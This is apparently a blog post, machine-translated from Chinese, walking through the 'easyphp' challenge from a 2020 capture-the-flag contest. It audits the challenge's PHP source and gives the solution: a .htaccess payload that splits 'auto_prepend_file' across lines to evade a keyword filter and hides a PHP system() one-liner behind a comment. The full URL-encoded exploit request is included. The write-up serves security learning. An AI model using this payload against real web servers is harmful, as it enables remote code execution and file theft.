当前位置:网站首页>[Yangcheng cup 2020] easyphp
[Yangcheng cup 2020] easyphp
2022-07-02 23:02:00 【-Gardenia blue-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>Code audit
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
If not index.php page , Page data will be deleted if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} If no incoming content or filename Parameters are directly die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
Pass in parameters content To filter , Not by on html type flag upload file$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
Pass in parameters filename To filter ,filename Only lowercase letters and . constitute , otherwise die$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
Just like the initial filtering , If not index.php The data will be deleted
file_put_contents($filename, $content . "\nHello, world");
Put our incoming content content write in filename Inside
But notice that there is a splice here Hello world, It will cause our program to report errors The original idea was filename by a.php,content Pass in a sentence , Result practice :

Discover as html Output directly on the page , There's no resolution , Maybe only parsing is set in the background index.php, After all, the code is right index.php There are many reminders , So I wonder if I can index.php We analyzed our htaccess, Just change the configuration item , So the learning boss learned that he really wanted to use htaccess To get flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\htaccess in \ The function of is to splice context , amount to php_value auto_prepend_file.htaccess
Because in order to bypass the filter, from file In the middle

Among them, the use of annotations # Write a sentence into , Because in htaccess Is the function of the annotator , But in php When it comes to execution , In a word, the Trojan horse will be executed
In the third line \ It is for splicing with the last part of the code Hello,world Also as a note , otherwise hello world Go to the fourth line to report an error
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

边栏推荐
- Antd component upload uploads xlsx files and reads the contents of the files
- 数组进阶提高
- 海思3559万能平台搭建:在截获的YUV图像上旋转操作
- Zhong Xuegao responded that the product will not melt for 1 hour: it contains solid components and cannot melt into water
- Wait to solve the zombie process
- [Solved] Splunk: Cannot get username when all users are selected“
- [leetcode] reverse string [344]
- Higher order operation of bits
- Boot actuator - Prometheus use
- P1007 独木桥
猜你喜欢
![Gas station [problem analysis - > problem conversion - > greed]](/img/15/5313f900abedb46ce82d8ab81af1d7.png)
Gas station [problem analysis - > problem conversion - > greed]

解决Chrome浏览器和Edeg浏览器主页被篡改的方法

归并排序详解及应用

Array advanced improvement
![[LeetCode] 反转字符串中的单词 III【557】](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
[LeetCode] 反转字符串中的单词 III【557】

Share 10 JS closure interview questions (diagrams), come in and see how many you can answer correctly

景联文科技低价策略帮助AI企业降低模型训练成本

Lambda表达式:一篇文章带你通透

The motivation of AES Advanced Encryption Protocol

Niuke: Dragon and dungeon games
随机推荐
Lambda expression: an article takes you through
antd组件upload上传xlsx文件,并读取文件内容
Pytorch training CPU usage continues to grow (Bug)
从底层结构开始学习FPGA----Xilinx ROM IP的定制与测试
Tronapi-波场接口-源码无加密-可二开--附接口文档-基于ThinkPHP5封装-作者详细指导-2022年7月1日08:43:06
Go condition variable
AES高级加密协议的动机阐述
The motivation of AES Advanced Encryption Protocol
[Solved] Splunk: Cannot get username when all users are selected“
高并发介绍及应对
MySQL reset password, forget password, reset root password, reset MySQL password
数据标注典型案例,景联文科技如何助力企业搭建数据方案
【板栗糖GIS】global mapper 如何通过dsm批量制作贴地等高线
数据分析学习记录(二)---响应曲面法及Design-Expert的简单使用
Comprehensively analyze the logic of the shared purchase business model? How sharing purchase empowers Enterprises
Jerry's charge unplugged, unable to touch the boot [chapter]
Mask R-CNN
Xiaopeng P7 had an accident and the airbag did not pop up. Is this normal?
Baidu AI Cloud - create a face recognition application
Minimum spanning tree